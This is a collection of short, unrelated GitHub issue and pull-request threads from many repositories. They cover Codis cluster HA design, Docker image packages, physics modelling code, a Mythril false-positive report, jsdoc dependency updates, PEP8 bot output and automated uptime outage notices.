codis-admin --dashboard=127.0.0.1:18080 --rebalance --confirm

please show me the output of command codis-admin -h?

Attached.
codis-admin.txt

@Roycohen It was my fault.
Please pull the newest source code of release3.0 and run make to rebuild project again.
These changes will be published in release 3.0.4.

Doesn't matter who's fault... :)
Do you know when version 3.0.4 is about the be published?

@Roycohen ASAP 😄, actually, the latest code of release3.0 is quite stable & safe.

Yeah it really seems to be working well.
Waiting for it.

authors: Roycohen spinlock

repo: CodisLabs/codis


text:
Codis HA 的重构

codis2 (master branch) 里面，ha 处理的仅仅是逻辑上的 master-slave 的关系，而 cconfig 也只是在第一次 AddServer 的时候，会对 slave 发起 SlaveOf 指令，这样会导致问题:

HA 在不知道 slave 和 master 同步状态时提升 slave 会导致数据丢失
集群含有多个 slave 时，提升新的 master 导致之前的 slave 和 新的 master 不是真的 master/slave 关系，结合上面那条，所以就可能出现错误
单点问题

codis3 (release3.0 branch) 在重构的时候，也遇到了这个问题，所以解决方法就是暂时不解决，把问题丢给用户，毕竟主从切换不是经常发生：

fe 界面显示了 master/slave 的同步状态，

通常 master 需要是 NO:ONE 才是真的 master
slave 需要时 master:up 才是真的同步成功了，（master/slave 之间数据 lag 查多少取决于 redis.conf 里的配置）

master/slave 同步需要消耗大量 master 资源导致 master 服务受影响，并且 redis 的 SlaveOf 指令是一个阻塞的指令，返回成功和失败不保证是否真的同步成功和失败，自动做 master/slave 切换的成本和实现难度，所以这些数据都被搬到了界面上，需要人工介入
codis3 目前是读/写都通过 master，所以 slave 仅仅是作为数据副本使用的，所以

但是 codis3 的 ha 依然是半成品，存在单点问题和服务可用性的问题。
为此，在尝试迭代 dev3.1 的时候，有需要重新思考这部分的实现是否合理：

写 master，读 master+slave，可动态配置，同时兼顾 HA，这就需要 codis 集群能够时刻清楚 master/slave 的同步状态，
引入 redis-sentinel 做集群监控，丢弃 codis-ha 的实现，可避免单点，同时新的 master 提升后，能够自动完成 slave 和新 master 之间的数据同步。

以上，dev3.1 大部分工作已经完成了，接下来是 review 代码和测试。

请问下，dev3.1预计什么时候发布？

哇塞！

"master/slave 同步需要消耗大量 master 资源导致 master 服务受影响"
如果配合修改 Redis 以达到 “同源 instance 之间可不再进行全 replication”，是不是会好一些？

authors: gqlxj1987 ppabc spinlock springlie


text:
dask_jobqueue in CalVer Images

Hi all,
I'm switching over to coffea v2024, and I noticed that the image I'm using (coffeateam/coffea-base:v2024.1.2) does not have the dask_joqueue package by default. We use dask_jobqueue.HTCondorCluster to create Clients, so that's a required package for us.
I added it in my own Dockerfile, but is there a reason for it to not be included in future coffea-base images? Thank you!

We are slightly redoing coffea images, see https://github.com/CoffeaTeam/af-images/pull/1
So hopefully you will have everything you will need after this pull request is merged.

Thanks for the pointer! I'll consider the discussion moved over there.

repo: CoffeaTeam/docker-coffea-base


text:
알람 및 알림 기능 구현 완료

알람 및 알림 기능 자체 안드로이드 모듈 사용 -> 서버 단에서 FCM 및 node-schedule 모듈로 구현
무중단 배포를 위해서 Redis 캐시 DB 서버를 사용하여 사용자 인가 유지
몇몇 수정사항 개선

✪ ω ✪
good!


text:
noted the issue still exists. Heres the test repo https://github.com/giang12/moldecormixinsbug

noted the issue still exists. Heres the test repo https://github.com/giang12/moldecormixinsbug
Originally posted by @giang12 in https://github.com/ColonelBundy/moleculer-decorators/issues/15#issuecomment-486401046

I will fix it today!

repo: ColonelBundy/moleculer-decorators


text:
Implement analytic continuation for phase space factor for unequal masses

The existing PhaseSpaceFactorAnalytic is only valid for equal decay product masses. Christoph Hanhart pointed out a more general loop function for unequal masses, see Eq. (B.4) (https://inspirehep.net/literature/540190).
Simple approach would be to just define (yet) some other PhaseSpaceAnalyticUnequal.... function, possibly putting those phase space factor classes in some sub-module to keep the main dynamics module small. At this stage though, with so many different parametrizations, we may need to think about some smarter, less repetitive approach, like a factory function.

@Leongrim could you give this a try by expressing Eq. (B.4) with SymPy and wrapping it in a class just like the existing PhaseSpaceAnalytic?
https://github.com/ComPWA/ampform/blob/25929aa9c93c00f4bdf25d117a06b64c9eb4a85a/src/ampform/dynamics/__init__.py#L228-L261
The three piece-wise cases can be expressed like this:
https://github.com/ComPWA/ampform/blob/25929aa9c93c00f4bdf25d117a06b64c9eb4a85a/src/ampform/dynamics/__init__.py#L300-L313
While implementing, could you use the new formula in a new section under dynamics.ipynb, so you can check the math?

Expressing with SymPy is already a big step. After that, we may need to do some renaming. I also have to look into ComPWA/tensorwaves#312, but that can be done independently.

@sebastianJaeger note that the paper refers to "mesons", so we have to check if this formula also applies to baryons

It has been decided that #265 is an alternative solution for now.

repo: ComPWA/ampform


text:
Simplify the customization of a problem set

The problem set is the input to the solving code.

[ ] Generally, the concept of the default settings should also be verified.
[ ] Some module/code is needed to help the user create customized problem sets in an easy way

Example: At the moment, all default variable domains are defined under ui._default_settings. This is hard to modify as a user (strictly speaking not allowed according to Python conventions).
Note that the variable domains are important for performance, especially when a large number of resonances is to be considered.

See also #40, #41, #43, and #45

repo: ComPWA/qrules


text:
Run issues

Can anymore information be provided to run this server?
The 'go build' command works successfully, however running 'go run main.go' only responds with :
time=2020-02-13T15:30:00.1019486Z app=API caller=server/main.go:49 event=loadingConfig
and waits.

hi, sorry just saw this, you won't see anything else until the service receives a request

repo: Comcast/github-rally-hook


text:
How to change sidebar “selected-row” color

in your color.ini??

authors: ohitstom vathanac

repo: Comfy-Themes/Spicetify

license: WTFPL


text:
Implement Boba colour scheme

LGTM, will add screenshots and merge
p.s great first pr my love proud of you 🫶

authors: kaivko ohitstom


text:
Exclude link condition from link expression

Fixes #277

Rebased to develop.

repo: Componolit/RecordFlux


text:
Update envs.py template in the README

There a few new environment variables that came with the API rewrite and there will be more to come once Google login is merged to main. Would be nice to get the envs.py file updated to reflect those

Done

repo: ComputerScienceHouse/devcade-website


text:
Failed to compile some projects, such as "28_Skinning" on vs2019

C function tolower(): identifier not found.
#include <ctype.h> in basisu.h could resolve.
Since it is third party, I am not sure whether new lib would solve this issue.

We only support Visual Studio 2017. Please check out what is supported on the Github main page.

Thanks, seems I can't give up vs2017.
By the way, on vs2019, it works well except for this.

authors: qy-wang wolfgangfengel

repo: ConfettiFX/The-Forge


text:
Token.sol is not abstract

Slight oversight. Token.sol should be abstract to enforce implementation of the standard. ht @HCharlanes

Not going to add this now, since in some circumstances, some people do NOT implement all the functions as is.

repo: ConsenSys/Tokens


text:
False Positive on Require Check

Mythril 0.18.4 reports a false positive on the following benchmark:
pragma solidity ^0.4.19;

contract Benchmark {

    enum State {
        s1
    }
    State private state;

    function f() {
        require(state == State.s1);
    }
}

vagrant@vagrant:~/host/benchmarks$ myth -x enum_check.sol
==== Exception state ====
Type: Informational
Contract: Unknown
Function name: f()
PC address: 123
A reachable exception (opcode 0xfe) has been detected. This can be caused by type errors, division by zero, out-of-bounds array access, or assert violations. This is acceptable in most situations. Note however that `assert()` should only be used to check invariants. Use `require()` for regular input checking.
--------------------
In file: enum_check.sol:11

state == State.s1

I'm not exactly sure why (too tired to think much right now) but for some reason there's an assert in there that fails when State private state is uninitialized.

Manticore doesn't seem to reach an 0xfe on this benchmark, unlike the dynamic array in #276. Don't know why.

This seems to be fixed with the current version of master, closing

authors: JoranHonig b-mueller suhabe

repo: ConsenSys/mythril


text:
feat: As an Admin, I want to revoke a Portal that was registered

What does this PR do?
Adds a "revoke" method to the PortalRegistry contract to revoke an improperly used contract
Related ticket
Fixes #437
Type of change

[ ] Chore
[ ] Bug fix
[X] New feature
[ ] Documentation update

Check list

[X] Unit tests for any smart contract change
[X] Contracts and functions are documented

What is the idea behind this ? I can understand having a revoke function where the portal owner can revoke the portal they created. But having it as the contract owner I don't think is a good idea

Codecov Report
Attention: 2 lines in your changes are missing coverage. Please review.

Comparison is base (a464ff0) 94.24% compared to head (c607390) 93.82%.

:exclamation: Current head c607390 differs from pull request most recent head eb5cdd9. Consider uploading reports for the commit eb5cdd9 to get more accurate results

Files
Patch %
Lines

contracts/src/PortalRegistry.sol
81.81%
1 Missing and 1 partial :warning:

Additional details and impacted files
@@            Coverage Diff             @@
##              dev     #439      +/-   ##
==========================================
- Coverage   94.24%   93.82%   -0.43%
==========================================
  Files          19       19
  Lines         313      324      +11
  Branches       68       71       +3
==========================================
+ Hits          295      304       +9
- Misses          9       10       +1
- Partials        9       10       +1

:umbrella: View full report in Codecov by Sentry.
:loudspeaker: Have feedback on the report? Share it here.

authors: 0xEillo alainncls codecov-commenter

repo: Consensys/linea-attestation-registry


text:
App details page "View Website" button not working

Expected behaviour:
Clicking on this button should direct the user to the website of the application in a new tab.

can i work on this issue?

authors: chin-flags subhamkumarr

repo: Consensys/polis


text:
Update jsdocs version to resolve security vulnerability

Updates:

Updates jsdocs version from v3.6.7 => v4.0.2 to resolve this security alert

This caused the npm run docs command to break as v.4.0.2 no longer uses taffydb (the source of the vulnerability) that minami (the jsdocs template) relied on
There are some steps outlined in the @jsdoc/salty on how to resolve the issue. It also mentions it's not really a security risk but better to fix it than have it come back up again

Add shell script to handle replacing taffydb with @jsdoc/salty in minami's publish script (as described in the steps in the link above) when npm run docs is ran. (I'm a shell script n00b, so pls let me know if there's a better way to handle this)

Follow-ups:

This issue also happens in the JS Client, will make the same updates there if we're okay with this fix

@esezen I wasn't able to find a template that worked with JS Doc 4 when I made this PR. I did a bit more searching and did find one (docdash) that is somewhat similar to what we have today. 👍

repo: Constructor-io/constructorio-node


text:
Restructure README.md

Optimize for readability.

addressed in #17


text:
fix #54 incorrect locale handling

fix #54

Hello @kalefranz! Thanks for submitting the PR.

In the file menuinst/knownfolders.py, following are the PEP8 issues :

Line 30:14: E401 multiple imports on one line
Line 34:1: E302 expected 2 blank lines, found 1
Line 44:80: E501 line too long (93 > 79 characters)
Line 46:33: E227 missing whitespace around bitwise or shift operator
Line 48:1: E302 expected 2 blank lines, found 1
Line 49:20: E221 multiple spaces before operator
Line 50:15: E221 multiple spaces before operator
Line 51:25: E221 multiple spaces before operator
Line 52:15: E221 multiple spaces before operator
Line 53:14: E221 multiple spaces before operator
Line 54:21: E221 multiple spaces before operator
Line 55:19: E221 multiple spaces before operator
Line 56:19: E221 multiple spaces before operator
Line 57:20: E221 multiple spaces before operator
Line 58:18: E221 multiple spaces before operator
Line 59:20: E221 multiple spaces before operator
Line 60:13: E221 multiple spaces before operator
Line 61:12: E221 multiple spaces before operator
Line 62:12: E221 multiple spaces before operator
Line 63:24: E221 multiple spaces before operator
Line 64:14: E221 multiple spaces before operator
Line 65:21: E221 multiple spaces before operator
Line 66:14: E221 multiple spaces before operator
Line 67:14: E221 multiple spaces before operator
Line 68:10: E221 multiple spaces before operator
Line 69:14: E221 multiple spaces before operator
Line 70:12: E221 multiple spaces before operator
Line 71:25: E221 multiple spaces before operator
Line 72:18: E221 multiple spaces before operator
Line 73:14: E221 multiple spaces before operator
Line 74:10: E221 multiple spaces before operator
Line 75:17: E221 multiple spaces before operator
Line 76:20: E221 multiple spaces before operator
Line 77:26: E221 multiple spaces before operator
Line 78:10: E221 multiple spaces before operator
Line 79:17: E221 multiple spaces before operator
Line 80:12: E221 multiple spaces before operator
Line 81:19: E221 multiple spaces before operator
Line 82:16: E221 multiple spaces before operator
Line 83:20: E221 multiple spaces before operator
Line 84:13: E221 multiple spaces before operator
Line 85:14: E221 multiple spaces before operator
Line 86:14: E221 multiple spaces before operator
Line 87:12: E221 multiple spaces before operator
Line 88:16: E221 multiple spaces before operator
Line 89:17: E221 multiple spaces before operator
Line 90:20: E221 multiple spaces before operator
Line 91:20: E221 multiple spaces before operator
Line 92:23: E221 multiple spaces before operator
Line 93:26: E221 multiple spaces before operator
Line 94:26: E221 multiple spaces before operator
Line 95:13: E221 multiple spaces before operator
Line 96:11: E221 multiple spaces before operator
Line 97:18: E221 multiple spaces before operator
Line 98:20: E221 multiple spaces before operator
Line 99:20: E221 multiple spaces before operator
Line 100:20: E221 multiple spaces before operator
Line 101:20: E221 multiple spaces before operator
Line 102:16: E221 multiple spaces before operator
Line 103:19: E221 multiple spaces before operator
Line 104:20: E221 multiple spaces before operator
Line 105:20: E221 multiple spaces before operator
Line 106:17: E221 multiple spaces before operator
Line 107:16: E221 multiple spaces before operator
Line 108:11: E221 multiple spaces before operator
Line 109:22: E221 multiple spaces before operator
Line 110:16: E221 multiple spaces before operator
Line 111:14: E221 multiple spaces before operator
Line 112:19: E221 multiple spaces before operator
Line 113:21: E221 multiple spaces before operator
Line 114:17: E221 multiple spaces before operator
Line 115:16: E221 multiple spaces before operator
Line 116:19: E221 multiple spaces before operator
Line 117:20: E221 multiple spaces before operator
Line 118:17: E221 multiple spaces before operator
Line 119:15: E221 multiple spaces before operator
Line 120:18: E221 multiple spaces before operator
Line 121:16: E221 multiple spaces before operator
Line 122:18: E221 multiple spaces before operator
Line 123:20: E221 multiple spaces before operator
Line 124:11: E221 multiple spaces before operator
Line 125:24: E221 multiple spaces before operator
Line 126:17: E221 multiple spaces before operator
Line 127:13: E221 multiple spaces before operator
Line 128:23: E221 multiple spaces before operator
Line 129:22: E221 multiple spaces before operator
Line 130:21: E221 multiple spaces before operator
Line 131:14: E221 multiple spaces before operator
Line 132:12: E221 multiple spaces before operator
Line 133:11: E221 multiple spaces before operator
Line 134:14: E221 multiple spaces before operator
Line 135:14: E221 multiple spaces before operator
Line 136:15: E221 multiple spaces before operator
Line 137:17: E221 multiple spaces before operator
Line 138:21: E221 multiple spaces before operator
Line 139:27: E221 multiple spaces before operator
Line 140:11: E221 multiple spaces before operator
Line 141:18: E221 multiple spaces before operator
Line 142:12: E221 multiple spaces before operator
Line 144:1: E302 expected 2 blank lines, found 1
Line 146:11: E221 multiple spaces before operator
Line 148:1: E305 expected 2 blank lines after class or function definition, found 1
Line 149:23: E225 missing whitespace around operator
Line 154:80: E501 line too long (91 > 79 characters)
Line 178:1: E302 expected 2 blank lines, found 1
Line 178:39: E701 multiple statements on one line (colon)
Line 179:1: E302 expected 2 blank lines, found 0
Line 179:44: E701 multiple statements on one line (colon)
Line 181:1: E302 expected 2 blank lines, found 1
Line 187:80: E501 line too long (118 > 79 characters)
Line 192:80: E501 line too long (94 > 79 characters)
Line 207:80: E501 line too long (96 > 79 characters)
Line 208:80: E501 line too long (96 > 79 characters)
Line 211:1: E305 expected 2 blank lines after class or function definition, found 1
Line 228:80: E501 line too long (80 > 79 characters)

@mingwandroid Are you ok with merging this for the release also?  @nehaljwani confirmed it looks correct to him.

Codecov Report

Merging #62 into 1.4.x will not change coverage.
The diff coverage is n/a.

@@         Coverage Diff         @@
##           1.4.x   #62   +/-   ##
===================================
  Coverage      0%    0%
===================================
  Files         10    10
  Lines        988   989    +1
===================================
- Misses       988   989    +1

Impacted Files
Coverage Δ

menuinst/knownfolders.py
0% <ø> (ø)
:arrow_up:

menuinst/win32.py
0% <0%> (ø)
:arrow_up:

Continue to review full report at Codecov.

Legend - Click here to learn more
Δ = absolute <relative> (impact), ø = not affected, ? = missing data
Powered by Codecov. Last update fcf395d...7d85e81. Read the comment docs.

authors: codecov-io kalefranz pep8speaks

repo: ContinuumIO/menuinst


text:
⚠ Samsung has degraded performance

In e4feaad, Samsung (https://samsung.com) experienced degraded performance:

HTTP code: 200
Response time: 2292 ms

Resolved: Samsung performance has improved in 5d741fd.

repo: CoopPlayzz/Webstatus-electronicbrands


text:
Melee attack system

Assigned to: Unassigned

Basics is now done.
DamageEntity now takes damage form both SpellController and MeleeController

repo: Coow/CyberSlash


text:
🛑 Economy API Endpoint is down

In b212f90, Economy API Endpoint (https://economy.roblox.com) was down:

HTTP code: 503
Response time: 628 ms

Resolved: Economy API Endpoint is back up in 70081ae after 24 minutes.


text:
Update architecture.rst

This adds a tiny paragraph with the mention of vectors in ConvoKit and provides a link to the relevant demo notebook.

@Khonzoda I think we should add a bit more context around what "vector data" means. I am worried that the current wording comes across as "Vectors allow ConvoKit to support adding vector data" which sounds tautological on a first read. An easy fix would be to just add some examples, like "...support adding vector data, such as GloVe representations" as is done in the intro of the vector example notebook

authors: Khonzoda jpwchang


text:
Net standard

update the code to netstandard and add the helper functions on activity scope from correlator-js

Not sure on the version number.

I've split out the .NET Standard specific changes in #27 . When you get a chance to review and we merge it, then please extract code changes only MR for review.

authors: ivanz jasond-s

repo: CorrelatorSharp/CorrelatorSharp


text:
Fork @iov/tendermint-rpc

We need @cosmjs/tendermint-rpc here, then remove 0.31 support and add 0.33 support.

@webmaster128 Do we still want v0.32 support? There were some pretty serious breaking changes in v0.33 which will invalidate some of the cross-version types.

Good question.
Cosmos SDK 0.38 started to use Tendermint 0.33 and for all pre-0.39 blockchains we cannot decode the Amoni data we get from Tendermint. So I think it is safe to remove support for Tendermint 0.32.
My only concern is that we don't show the multi version support anymore if only 0.33 is supported. But that's okay if we keep the infrastructure in place to support 0.33+ in the future.

repo: CosmWasm/cosmjs


text:
Fixed (Iss #414): Inferer now uses torch.no_grad() correctly

Description
Inferer.__call__() function in solaris/nets/infer.py does not properly use torch.no_grad(). PyTorch is effectively computing gradient for the inference process, thus, using significantly more GPU memory.
Fixes #414
Type of change
Please delete options that are not relevant.

[x] Bug fix (non-breaking change which fixes an issue)
[ ] New feature (non-breaking change which adds functionality)
[ ] Breaking change (fix or feature that would cause existing functionality to not work as expected - these changes will not be merged until major releases!)

How Has This Been Tested?
Please describe tests that you added to the pytest codebase (if applicable).
Checklist:

[x] My PR has a descriptive title
[x] My code follows PEP8
[x] I have performed a self-review of my own code
[ ] I have commented my code, particularly in hard-to-understand areas (NA)
[ ] I have made corresponding changes to the documentation (NA)
[x] My changes generate no new errors
[ ] I have added tests that prove my fix is effective or that my feature works (NA)
[x] My PR passes Travis CI tests
[x] My PR does not reduce coverage in Codecov

If your PR does not fulfill all of the requirements in the checklist above, that's OK! Just prepend [WIP] to the PR title until they are all satisfied. If you need help, @-mention a maintainer and/or add the Status: Help Needed label.

closing since this relates to pytorch and this library no longer covers training or inference related functionality https://github.com/CosmiQ/solaris/blob/32236217bd913fbb238e19f2f8420e5794fd8136/ROADMAP.md

authors: imadtoubal rbavery

repo: CosmiQ/solaris


text:
0906 bios slow SSD speed

Firstly, Great work on collecting these together. However, After installing 0906 on pm961 on my Notebook Pro I get slow speeds. 2k read 1k write. Anyone else encounter same issue? Possible solutions?

Is it alright now? I have heard from another guy the same issue but most of the people that installed the bios are ok with the speeds (3k write etc)!

Yeah I updated all drivers from Xiaomi and switched to crystal to measure. Which I'd been more scientific but crystal showed 3k+ after. Thanks for all the great work!


text:
Cu 86b02r9un 007 set up presets

used hashmap to hash nodes, edges, and routes with its id
have to perform an if statement again to check for extra parameters when initiating edges since JSON will give an error if we try to retrieve none existing attributes.
since JSON doesn't allow comments, i added comment as an attribute. (not sure if this is a good idea)
Preset1 is for x direction only
Preset2 is for y direction only
Preset3 is for straight movement in all four directions
Preset4 is for right turns
Preset5 is for left turns
Preset6 is all combined with DIFFERENT ROUTE POSITIONS

Task linked: CU-86b02r9un 007 set up "presets"

preset6 is awesome.. thank you

repo: CraftinPark/concurrent-traffic


text:
How to uncompress gzip (gz) files?

Any idea how I can apply this to uncompress gzip files (gz)? I tried using the GZIPInputStream class, but not successful.

Hey @ibaralf , sorry I'm not sure I can help on this anymore, we are no longer using this project anymore.

Now worries, I got it working using java.util.zip.GZIPInputStream. I'll close it.

authors: gravelg ibaralf

repo: Craftware/aws-lambda-unzip


text:
Fixed typos and links in upgrade

Description

Fixed links in the Upgrade Only CSM path of the docs.
Checklist

[x] If I added any command snippets, the steps they belong to follow the prompt conventions (see example).
[x] If I added a new directory, I also updated .github/CODEOWNERS with the corresponding team in Cray-HPE.
[x] My commits or Pull-Request Title contain my JIRA information, or I do not have a JIRA.

/backport release/1.6

authors: rustydb shunr-hpe

repo: Cray-HPE/docs-csm


text:
🛑 sneak.page is down

In 0330b78, sneak.page (https://sneak.page) was down:

HTTP code: 0
Response time: 0 ms

Resolved: sneak.page is back up in 63b2bf0 after 8 minutes.

repo: Crazy-Marvin/upptime


text:
🛑 sneak.page is down

In 09e94b1, sneak.page (https://sneak.page) was down:

HTTP code: 404
Response time: 126 ms

Resolved: sneak.page is back up in d2aac3a after 8 minutes.


text:
🛑 sneak.page is down

In fac36e9, sneak.page (https://sneak.page) was down:

HTTP code: 0
Response time: 0 ms

Resolved: sneak.page is back up in f4450ea after 8 minutes.


text:
🛑 sneak.page is down

In 18e30cf, sneak.page (https://sneak.page) was down:

HTTP code: 0
Response time: 0 ms

Resolved: sneak.page is back up in 5231dc1 after 14 minutes.


text:
Fixes Lesson.date content

Changes:

Changed Lesson.date to only contain formatted date

Fixes #83

Tested, Windows calendar was able to open and add the lessons

@all-contributors please add @dmbdpt for code

repo: Criador-Horarios/Criador-Horarios


text:
React compatibility

Can this only work with 16.6.3 or up? Or can people with earlier React versions use this? If so I'd recommend changing the React version in package.json for developers who, for legacy reasons or otherwise, cannot upgrade their version of React.

@lazorfuzz Right now the lowest supported version is v16.6.0 but I will work on removing the need for the context api and pass the theme properties via component props to support older versions of react.


text:
🛑 cris book is down

In 55038d3, cris book (http://cristo.top/) was down:

HTTP code: 0
Response time: 0 ms

Resolved: cris book is back up in 06d8c9a after 34 minutes.

repo: CristoMonte/uptime-demo